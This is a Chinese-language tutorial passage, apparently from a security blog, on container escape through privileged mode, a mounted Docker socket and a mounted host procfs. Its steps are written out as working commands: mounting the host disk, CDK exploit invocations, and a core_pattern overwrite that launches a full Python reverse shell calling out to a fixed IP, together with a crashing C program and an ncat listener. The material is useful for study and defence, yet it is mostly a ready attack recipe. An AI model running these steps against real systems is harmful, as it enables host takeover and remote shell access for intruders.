3 针对容器运行时的攻击
3.1 不安全配置导致的容器逃逸
Docker 已经将容器运行时的 Capabilities 黑名单机制改为如今的默认禁止所有 Capabilities,再以白名单方式赋予容器运行所需的最小权限。截止本文成稿时,Docker 默认赋予容器近 40 项权限中的 14 项:
func DefaultCapabilities() []string {
return []string{
"CAP_CHOWN",
"CAP_DAC_OVERRIDE",
"CAP_FSETID",
"CAP_FOWNER",
"CAP_MKNOD",
"CAP_NET_RAW",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETFCAP",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE",
"CAP_SYS_CHROOT",
"CAP_KILL",
"CAP_AUDIT_WRITE",
}
}
无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行容器时指定参数来缩小或扩大约束。如果用户为不完全受控的容器提供了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。
3.1.1 privileged 特权模式运行容器
当操作者执行 docker run --privileged
时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备:
攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去:
mkdir host
mount /dev/sda /host
3.2 危险挂载导致的容器逃逸
为了方便宿主机与虚拟机进行数据交换,虚拟化解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部 - 当受控容器存在不安全的挂载时,会造成严重的问题。
3.2.1 挂载 Docker Socket 的情况
Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信 - 查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件( /var/run/docker.sock
),容器逃逸就相当容易了,除非有进一步的权限限制。
复现过程:
- 首先创建一个容器并挂载
/var/run/docker.sock
; - 在该容器内安装 Docker 命令行客户端;
- 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;
- 在新容器内执行
chroot
将根目录切换到挂载的宿主机根目录。
docker run -itd --name demo -v /var/run/docker.sock:/var/run/docker.sock ubuntu
利用 CDK 进行进行检查:
./cdk run docker-sock-check /var/run/docker.sock
命令执行(逃逸):
./cdk run docker-sock-pwn <sock_path> <shell_cmd>
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
3.2.2 挂载主机 procfs 的情况
procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时。
一般来说,我们不会将宿主机的 procfs 挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
procfs 中的 /proc/sys/kernel/core_pattern
负责配置进程崩溃时内存转储数据的导出方式。从手册中能获得关于内存转储的详细信息,关键信息如下:
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern
中使用新语法。如果该文件中的首个字符是管道符 |
,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
因此,可以利用上述机制,在挂载了宿主机 procfs 的容器内实现逃逸。
环境搭建:
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install mount-host-procfs
执行完成后,K8s 集群内 metarget
命令空间下将会创建一个名为 mount-host-procfs
的 pod。
宿主机的 procfs 在容器内部的挂载路径是 /host-proc
。
复现:
执行以下命令进入容器:
kubectl exec -it -n metarget mount-host-procfs /bin/bash
在容器中,首先拿到当前容器在宿主机上的绝对路径:
cat /proc/mounts | grep docker
从 workdir
可以得到基础路径,结合背景知识可知当前容器在宿主机上的 merged
目录绝对路径如下:
向容器内 /host-proc/sys/kernel/core_pattern
内写入以下内容:
echo -e "|/var/lib/docker/overlay2/c7c07b405792a4da3db07f22ae42a35ad00c8946362f0ebe7687bea79785add8/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
然后在容器内创建一个反弹 shell 的 /tmp/.x.py
:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "101.32.10.105"
lport = 9999
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
最后,在容器内运行一个可以崩溃的程序即可,例如:
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
容器内若没有编译器,可以先在其他机器上编译好后放入容器中。
完成后,在其他机器上开启 shell 监听:
ncat -lvnp 9999
接着在容器内执行上述编译好的崩溃程序,即可获得反弹 shell。
利用 CDK 工具:
./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论